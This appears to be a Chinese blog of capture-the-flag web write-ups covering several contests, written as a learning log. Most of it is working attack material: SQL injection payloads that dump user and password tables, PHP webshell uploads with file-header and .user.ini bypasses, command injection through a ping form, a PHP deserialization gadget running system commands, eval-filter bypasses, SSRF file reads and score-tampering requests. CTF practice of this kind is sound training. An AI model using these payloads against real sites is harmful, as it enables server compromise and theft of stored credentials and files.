1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 1 'union <>select <>1 ,2 ,3 --+1 ,concat(%27 !%27 ,database()),1 )--1 ,concat(%27 !%27 ,(select (group_concat(table_name))from (information_schema.tables ))),1 )--1 ,concat(%27 !%27 ,(select (group_concat(column_name))from (information_schema.columns))),1 )--1 ,concat(%27 !%27 ,(select (group_concat(no,username,passwd,data))from (users))),1 )--1 order by 4 ---1 union /**/select 1 ,2 ,3 ,4 ---1 union /**/select 1 ,group_concat(no,"\n" ,username,"\n" ,passwd,"\n" ,data),3 ,4 from users --3 c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2 8 :"UserInfo" :3 :{s:4 :"name" ;s:5 :"zhong" ;s:3 :"age" ;i:123 ;s:4 :"blog" ;s:21 :"http://gwwafz.online/" ;}
这是时候如wp说的，在data里构造一条读取本地flag的链接即可
1 -1 union/**/select 1 ,2 ,3 ,'O :8 :"UserInfo" :3 :{s:4 :"name" ;s:5 :"zhong" ;s:3 :"age" ;i:123 ;s:4 :"blog" ;s:29 :"file:///var/www/html/flag.php" ;}' from users
网页会在blog的区域回显blog链接爬取到的页面，改为file://可以直接访问本地的flag.php源码，所以在f12中查看blog窗口元素即可看，可能是它这个题目的原因，正常的blog也无法显示
解法二：
1 -1 union select 1 ,load_file("/var/www/html/flag.php"),3 ,4
notice file:///
还有，为什么传入sql语句
-1 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”zhong”;s:3:”age”;i:123;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’ from users –
传入db后db会处理好然后将结果返回语句，其中union select就相当于新建了一条sql查询结果返回
所以后端源码接收到的sql select 数据就为：
1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”zhong”;s:3:”age”;i:123;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’
然后将其中data反序列化(看源码)后执行
然后刚才扫目录时发现了有个
ssrf漏洞：
看nssctf的标签有ssrf
Mini L-CTF GuessOneGuess 下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 module.exports = function (io ) on ('connection' , (socket) => {floor (Math.random () * 100 ) + 1 ;0 ;0 ;const FLAG = process.env.FLAG || "miniL{THIS_IS_THE_FLAG}" ;log (`新连接 - 目标数字: ${targetNumber}`);emit ('game-message' , {type : 'welcome' ,message : '猜一个1-100之间的数字！' ,score : totalScoreon ('guess' , (data) => {try {log (totalScore);const guess = parseInt (data.value);if (isNaN (guess)) {throw new Error ('请输入有效数字' );if (guess < 1 || guess > 100 ) {throw new Error ('请输入1-100之间的数字' );if (guess === targetNumber) {const currentScore = Math.floor (100 / Math.pow (2 , guessCount - 1 ));false ;if (totalScore > 1.7976931348623157e308 ) {true ;emit ('game-message' , {type : 'result' ,win : true ,message : message,score : totalScore,showFlag : showFlag,currentScore : currentScorefloor (Math.random () * 100 ) + 1 ;log (`新目标数字: ${targetNumber}`);0 ;else {if (guessCount >= 100 ) {log ("100次未猜中！将扣除当前分数并重置" );emit ('punishment' , {message : "100次未猜中！将扣除当前分数并重置" ,return ;emit ('game-message' , {type : 'result' ,win : false ,message : guess < targetNumber ? '太小了！' : '太大了！' ,score : totalScorecatch (err) {emit ('game-message' , {type : 'error' ,message : err.message,score : totalScoreon ('punishment-response' , (data) => {0 ;floor (Math.random () * 100 ) + 1 ;log (`新目标数字: ${targetNumber}`);emit ('game-message' , {type : 'result' ,win : true ,message : "扣除分数并重置" ,score : totalScore,showFlag : false ,
注意到最后有一项猜错一百次后删除分数的函数
1 totalScore -= data.score
我们上传一个负数，根据源码里的减去，就能实现负负得正，获得足够分数
操作过程：
1 '42 ["punishment-response" ,{"score" :-1e309}]'
此时服务器里的数组已经达到发送flag的数值了，但是要触发分数检测然后输出flag需要猜对一次，
实测直接使用punishment事件就可以直接上传分数了
Mini L_CTF 麦霸评分 题目给了源码
提交录音的地址：
那直接把原音提交即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests"http://127.0.0.1:37563/original.wav" "http://127.0.0.1:37563/compare-recording" , "audio" : ("recording.wav" , audio)}print (r.text)
给deepseek一眼顶针了，在浏览器控制台运行就行：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 async function getFlag (const serverPath = '/original.wav?sign=abc123' ; const response = await fetch (serverPath);const blob = await response.blob ();const formData = new FormData ();append ('audio' , blob, 'recording.wav' );const res = await fetch ('/compare-recording' , { method : 'POST' , body : formData });const data = await res.json ();if (data.flag ) alert ('FLAG: ' + data.flag );setTimeout (getFlag, 11000 );
Mini L-CTF 吃豆人 查看源码，得到上传的地址，
1 2 3 4 5 6 7 POST /submit_score HTTP/1.1 Host: http:// 127.0 .0.1 :29530 / /json "score" :50000
拿到flag
前端可以自己改，还有注释，有很多方法解
[SUCTF 2019]CheckIn 传正常图片提示里面有<?不给传，传码看看：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 407Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryE46PLUBJtp0zgdcjUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php.jpg" Content-Type : image/jpg <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
提示：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 403Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundary8mJUC80q1aGOXScdUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php2.jpg" Content-Type : image/jpg FFD8FF <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
提示：
这次换个文件头：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.php HTTP/1.1 Host : 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Length : 403Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81Content-Type : multipart/form-data; boundary=----WebKitFormBoundary3I0b63Tc4FZzgA5sUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.phpAccept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="fileUpload"; filename="php2.jpg" Content-Type : image/jpg GIF89a <script language ='php' >@eval($_POST[shell]);</script> <script language ='php' >system ('cat /flag' );</script> Content-Disposition: form-data; name ="upload" 提交
回显
1 2 3 Your dir uploads/9987 df285bb375eda68448315c5656e5array (4 ) [0] => string (1 ) "." [1] => string (2 ) ".." [2] => string (9 ) "index.php" [3] => string (9 ) "php2.jpg" }
那目录就是
1 2 GIF89a= php2.jpg
回显：
1 2 3 Your dir uploads/9987 df285bb375eda68448315c5656e5array (5 ) [0] => string (1 ) "." [1] => string (2 ) ".." [2] => string (9 ) ".user.ini" [3] => string (9 ) "index.php" [4] => string (9 ) "php2.jpg" }
这个.user.ini的大概用法是让目录下所有php文件包含上你指定的文件，看回显我上传的目录上是有一个index.php的，所以能用.user.ini的办法
[网鼎杯 2020 朱雀组]phpweb 开门见孙笑川，然后会自己刷新，每次刷新都爆一样的错误
1 2 date (): It is not safe to rely on the system2025 -05 -07 02 :09 :32 pm
问一下deepseek：
好吧，知道站点真实目录
扫一下目录,啥也没扫到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /index.php HTTP/1 .1 Host : b29f3d09-8 d9e-4 cdd-948 e-6 cce2ae6d854.node5.buuoj.cn:81 Content -Length: 29 Cache -Control: max-age=0 Accept -Language: zh-CN,zh;q=0 .9 Origin : http://b29f3d09-8 d9e-4 cdd-948 e-6 cce2ae6d854.node5.buuoj.cn:81 Content -Type: application/x-www-form-urlencodedUpgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/129 .0 .6668 .71 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Referer : http://b29f3d09-8 d9e-4 cdd-948 e-6 cce2ae6d854.node5.buuoj.cn:81 /index.phpAccept -Encoding: gzip, deflate, brConnection : keep-alivefunc =date&p=Y-m-d+h%3 Ai%3 As+a
把date改为flag.php看看
1 Warning : call_user_func() expects parameter 1 to be a valid callback, function 'flag.php' not found or invalid function name in /var/www/html/index .php on line 24
把p的值去掉值传func看看
1 Warning: date (): It is not safe to rely on the system
没见过这种，没思路了
1 2 3 4 func=date &p=ls;lsWarning: date (): It is not safe to rely on the system
没办法了，看wp吧
看好像func和p是能直接执行函数的，p就是参数，我还以为date是一个自定义函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 func=echo&p=./flagWarning : call_user_func() expects parameter 1 to be a valid callback, function 'echo ' not found or invalid function name in /var/www/html/index.php on line 24 Warning : call_user_func() expects parameter 1 to be a valid callback, function 'highlight_file ()' not found or invalid function name in /var/www/html/index.php on line 24 Warning : highlight_file(./flag): failed to open stream: No such file or directory in /var/www/html/index.php on line 24 Warning : highlight_file(): Failed opening './flag' for highlighting in /var/www/html/index.php on line 24 Warning : highlight_file(/../../../flag): failed to open stream: No such file or directory in /var/www/html/index.php on line 24 Warning : highlight_file(): Failed opening '/../../../flag' for highlighting in /var/www/html/index.php on line 24
那就看源码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <!DOCTYPE html>"text/css" >url ("bg.jpg" ) no-repeat;100 %;setTimeout ("document.form1.submit()" ,5000 )<?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" );function gettime ($func , $p $result = call_user_func ($func , $p );$a = gettype ($result );if ($a == "string" ) {return $result ;else {return "" ;}class Test var $p = "Y-m-d h:i:s a" ;var $func = "date" ;function __destruct (if ($this ->func != "" ) {echo gettime ($this ->func, $this ->p);$func = $_REQUEST ["func" ];$p = $_REQUEST ["p" ];if ($func != null ) {$func = strtolower ($func );if (!in_array ($func ,$disable_fun )) {echo gettime ($func , $p );else {die ("Hacker..." );?> "index.php" method=post>'date' >'Y-m-d h:i:s a' >
可以看到过滤了一堆函数
1 "exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents"
好像没有file_get_contents() ?
func=file_get_contents;highlight_file&p=flag
func=file_get_contents&p=/../../../flag
Warning: file_get_contents(/../../../flag.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 24
不行，看wp说要用反序列化，仔细看一眼源码
可这里也没有unserialize 啊
原来func就直接传unserialize啊
直接传
1 2 func =unserialize&p=O:4 :"Test" :2 :{s:1 :"p" ;s:18 :"find / -name flag*" ;s:4 :"func" ;s:6 :"system" ;}
然后_destruct 就能触发了
就能找到flag位置了
[NISACTF 2022]easyssrf 给一个获取网页快照的功能
抓包得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host : node7.anna.nssctf.cn:29484Content-Length : 26Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://node7.anna.nssctf.cn:29484Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://node7.anna.nssctf.cn:29484/Accept-Encoding : gzip, deflate, brConnection : keep-aliveurl=file %3A%2F%2Findex.php
f12 源码也没有功能源码
输入file:///flag
file:///fl4g
你应该看看除了index.php，是不是还有个ha1x1ux1u.php
file:///ha1x1ux1u.php
在url里直接访问ha1x1ux1u.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );error_reporting (0 );$file = $_GET ["file" ];if (stristr ($file , "file" )){die ("你败了." );echo file_get_contents ($file );
不能用file://
直接传入：http://node7.anna.nssctf.cn:29484/ha1x1ux1u.php?file=/flag
就拿到了flag?不用伪协议？
测试了一下，用php伪协议也可以：
解码就是flag
[LitCTF 2023]导弹迷踪 老规矩，只玩一遍
[NCTF 2018] 签到题 找了半小时，cookie和请求头里面分别有两个假的flag
真flag在源访问链接
[NSSCTF 2022 Spring Recruit]ezgame f12 直接找
[LitCTF 2023]Ping 尝试一下ping我的blog，提示只能ping ip地址
试了一下ping 我的服务ip 和 127.0.0.0
不管了，抓包看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1 Host : node5.anna.nssctf.cn:29540Content-Length : 27Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Origin : http://node5.anna.nssctf.cn:29540Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://node5.anna.nssctf.cn:29540/Accept-Encoding : gzip, deflate, brConnection : keep-alivecommand=127.0 .0 .0 &ping =ping
改一下看看
1 2 3 4 5 6 7 8 9 command =/&ping=ls command =127.0 .0.0 |ls &ping=pingindex .php
试了一下upload目录403
那直接看根目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 command =127.0 .0.0 |ls /&ping=ping<br> <br> <br> <br> <br> <br> <br> <br> opt <br> <br> <br> <br> <br> <br> <br> <br> <br> <br>
那接下来cat /flag就行
1 command =127.0.0.0|cat /flag&ping =ping
拿到flag
TGCTF ezupload 先上传一个正常的jpg
回显
1 2 3 4 5 6 7 {"status_code" :403 ,"msg" :"\u 7981\u 6b62\u 4fdd\u 5b58\u 4e3a\u 8be5\u 7c7b\u 578b\u 6587\u 4ef6\u ff01" }
抓包传马看看：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /upload.php HTTP/1.1 Host : 127.0.0.1:62381Content-Length : 355Cache-Control : max-age=0sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Origin : http://127.0.0.1:62381Content-Type : multipart/form-data; boundary=----WebKitFormBoundary5Frc88R0NhJL8adtUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://127.0.0.1:62381/Accept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="name"; filename="shell.jpg" Content-Type : aimage/jpg <script language ='php' >@eval($_POST[zhong]);</script> Content-Disposition: form-data; name ="submit" 上传文件
还是不行
扫一下目录
1 2 3 4 5 [17:07:56] 200 - 419 B - /index.php [17:07:57] 200 - 419 B - /index.php .bak [17:10:56] 200 - 30 B - /upload.php [17:10:57] 301 - 162 B - /uploads -> http:[17:10:57] 403 - 548 B - /uploads/
访问一下uploads/,403,顺便知道了服务端是nginx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php define ('UPLOAD_PATH' , __DIR__ . '/uploads/' );$is_upload = false ;$msg = null ;$status_code = 200 ; if (isset ($_POST ['submit' ])) {if (file_exists (UPLOAD_PATH)) {$deny_ext = array ("php" , "php5" , "php4" , "php3" , "php2" , "html" , "htm" , "phtml" , "pht" , "jsp" , "jspa" , "jspx" , "jsw" , "jsv" , "jspf" , "jtml" , "asp" , "aspx" , "asa" , "asax" , "ascx" , "ashx" , "asmx" , "cer" , "swf" , "htaccess" );if (isset ($_GET ['name' ])) {$file_name = $_GET ['name' ];else {$file_name = basename ($_FILES ['name' ]['name' ]);$file_ext = pathinfo ($file_name , PATHINFO_EXTENSION);if (!in_array ($file_ext , $deny_ext )) {$temp_file = $_FILES ['name' ]['tmp_name' ];$file_content = file_get_contents ($temp_file );if (preg_match ('/.+?</s' , $file_content )) {$msg = '文件内容包含非法字符，禁止上传！' ;$status_code = 403 ; else {$img_path = UPLOAD_PATH . $file_name ;if (move_uploaded_file ($temp_file , $img_path )) {$is_upload = true ;$msg = '文件上传成功！' ;else {$msg = '上传出错！' ;$status_code = 500 ; else {$msg = '禁止保存为该类型文件！' ;$status_code = 403 ; else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！' ;$status_code = 404 ; http_response_code ($status_code );echo json_encode (['status_code' => $status_code ,'msg' => $msg ,
经测试，uploads/index.php
并没有404
上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /upload.php HTTP/1.1 Host : 127.0.0.1:62381Content-Length : 331Cache-Control : max-age=0sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Origin : http://127.0.0.1:62381Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryMjahAHXakvDQQiYSUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://127.0.0.1:62381/Accept-Encoding : gzip, deflate, brConnection : keep-aliveContent-Disposition: form-data; name ="name"; filename="shell.jpg" Content-Type : image/jpg <script language ='php' >@eval($_POST[shell]); Content-Disposition: form-data; name ="submit" 上传文件
回显：
1 2 3 4 5 6 7 8 9 HTTP/1.1 200 OKServer : nginxDate : Thu, 08 May 2025 09:24:17 GMTContent-Type : text/html; charset=UTF-8Connection : keep-aliveX-Powered-By : PHP/7.3.26Content-Length : 70{"status_code" :200 ,"msg" :"\u 6587\u 4ef6\u 4e0a\u 4f20\u 6210\u 529f\u ff01" }
解码后的意思就是成功
然后接下来传.user.ini
1 auto_prepend_file = shell.jpg
上传成功
不对，竟然不用
1 2 <script>包裹，那应该也不用<script>头了eval ($_POST [shell]);
也不行，
直接传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 POST /upload.php?name=shell.php/. HTTP/1.1 Host : 127.0.0.1:50404Content-Length : 323Cache-Control : max-age=0sec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Origin : http://127.0.0.1:50404Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryDxKYmUwl8LfJkYfiUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://127.0.0.1:50404/Accept-Encoding : gzip, deflate, brConnection : keep-alive------WebKitFormBoundaryDxKYmUwl8LfJkYfi Content-Disposition: form-data; name="name" ; filename="hello.jpg" Content-Type: image/jpg <?php eval ($_POST ['shell' ]);?> ------WebKitFormBoundaryDxKYmUwl8LfJkYfi Content-Disposition: form-data; name="submit" 上传文件 ------WebKitFormBoundaryDxKYmUwl8LfJkYfi--
尽然就成功传进去了？
然后蚂蚁直接连
原理是啥，怎么绕过的？
deepseek:
漏洞点：当攻击者通过GET参数name=shell.php/.传递文件名时，pathinfo()解析扩展名的行为异常。
反正我在kali里
那可能就是误判文件类型了
当然，刚才是烧一点的做法，正常的做法是
这题也是学到不少
TGCTF AAA偷渡阴平 据说是web签到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $tgctf2025 =$_GET ['tgctf2025' ];if (!preg_match ("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $tgctf2025 )){eval ($tgctf2025 );else {die ('(╯‵□′)╯炸弹！•••*～●' );highlight_file (__FILE__ );
?tgctf2025=system(ls);
看wp得到payload
kimi: 该 PHP 脚本存在代码注入漏洞，以下是对 payload 的解释：
?tgctf2025=eval(end(current(get_defined_vars()))); ：
get_defined_vars() 返回一个包含所有已定义变量的数组，包括全局变量和局部变量。
current() 函数取得数组中的当前元素，这里会得到数组的第一个元素，通常是 GLOBALS 数组。
end() 函数将数组的内部指针指向最后一条记录并返回该记录，此处作用于 current(get_defined_vars()) 的返回值，即 GLOBALS 数组，所以会指向 GLOBALS 数组的最后一个元素。
但在这段代码中，由于 get_defined_vars() 返回的是所有变量数组，而我们是先用 current() 取第一个元素（即 GLOBALS 数组），再用 end() 将其指针移到最后一个元素，但这对于绕过正则过滤和执行命令来说，并非关键，真正关键的是后续如何利用 b 参数来实现命令执行。
eval() 函数会对传入的字符串作为 PHP 代码进行解析和执行，将 end(current(get_defined_vars())) 的结果传递给 eval，但此处关键不在于这个 eval 的内容，而在于后面的参数是如何被利用的。
&b=system(‘cat /f*’); ：
这里通过 GET 请求传递了一个 b 参数，其值为 system(‘cat /f*’);。
在 PHP 中，system() 函数用于执行外部程序，并且会输出结果。
‘cat /f*’ 是一个 Linux 系统命令，cat 用于输出文件内容，/f* 是匹配以 /f 开头的所有文件，通常在一些 CTF（Capture The Flag）题目中，可能存在 /flag.txt 或类似路径的文件存放着标志（flag），所以这个命令意图读取这样的文件内容。
结合整个 payload 来看，由于脚本中未对 tgctf2025 参数的有效字符进行严格限制，正则表达式存在漏洞，攻击者可以构造特殊的 PHP 代码并通过 eval 执行，从而实现命令执行等恶意操作，这里的 payload 利用了 get_defined_vars() 来获取变量并结合 b 参数中的 system 函数调用，试图读取服务器上的敏感文件内容，但实际能否成功还取决于服务器环境等其他因素，例如是否允许 system 函数执行等。
deepseek:
1 2 3 4 $_GET = ['tgctf2025' => 'eval(end(current(get_defined_vars())));' ,'b' => 'system("cat /f*");'
步骤 2：提取 $_GET 数组
end(current(…))：将 $_GET 的内部指针移动到末尾（即参数 b），并返回其值 system(‘cat /f*’);。
步骤 3：执行命令
eval(end(current(get_defined_vars()))) 最终执行 system(‘cat /f*’);，读取服务器上的 /f* 文件（如 /flag）。
//
我的理解就是：
?tgctf2025=eval(end(current(get_defined_vars())));&b=system(‘cat /f*’);
然后用最外第二层的eval函数来执行变量$b,
[SWPUCTF 2021 新生赛]sql 按f12 看到标题提示参数是wllm
1 2 3 4 5 6 7 8 9 10 11 12 过滤了：and 0 'or %0 aunion%0 aselect%0 a1,2 ,3 #1 'if (1 =2 ,1 ,0 )
好嘛，试了好久原来是#它不自己进行url编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ?wllm= 1 %27 order%0 aby%0 a3 %23 3 = 0 %27 union%0 aselect%0 a1 , 2 , 3 %23 = 0 %27 union%0 aselect%0 a1 , database(), 3 %23 = 0 %27 union%0 aselect%0 a1 , group_concat(table_name)from(information_schema.tables), 3 %23 = 0 %27 union%0 aselect%0 a1 , 2 , group_concat(table_name)from(information_schema.tables)%23 , APPLICAB= 0 %27 union%0 aselect%0 a1 , 2 , group_concat(table_name)from(information_schema.tables)where(table_schema)like(database())%23 , users= 0 %27 union%0 aselect%0 a1 , 2 , group_concat(column_name)from(information_schema.columns)where(table_name)like('LTLT_flag')%23 , flag= 0 %27 union%0 aselect%0 a1 , 2 , group_concat(flag)from(LTLT_flag)%23 48 f21 b19 -c 67 b= 0 %27 union%0 aselect%0 a1 , 2 , (group_concat(flag)from(LTLT_flag))%23 = 0 %27 union%0 aselect%0 a1 , 2 , mid(group_concat(flag), 20 , 40 )from(LTLT_flag)%23 -47 a5 -8 cdf-17841 a4 e= 0 %27 union%0 aselect%0 a1 , 2 , mid(group_concat(flag), 40 , 60 )from(LTLT_flag)%23 1 c }48 f21 b19 -c 67 b-47 a5 -8 cdf-17841 a4 eca1 c }
总结，不能小看啊，太久不做容易在小地方犯错，比如url编码，mid函数使用,幸好大方向是对的，给一个安心看别人wp得理由啊啊🤣
MoeCTF 垫刀之路01: MoeCTF？启动！ ls / 查看根目录
cat /flag
env
MoeCTF 垫刀之路02: 普通的文件上传 直接传php马
1 <?php eval ($_POST [shell]);
然后用蚂蚁连或者直接post一个env就能看到flag
MoeCTF 垫刀之路03: 这是一个图床 只在前端做了限制，改前端代码或者bp抓包传就行
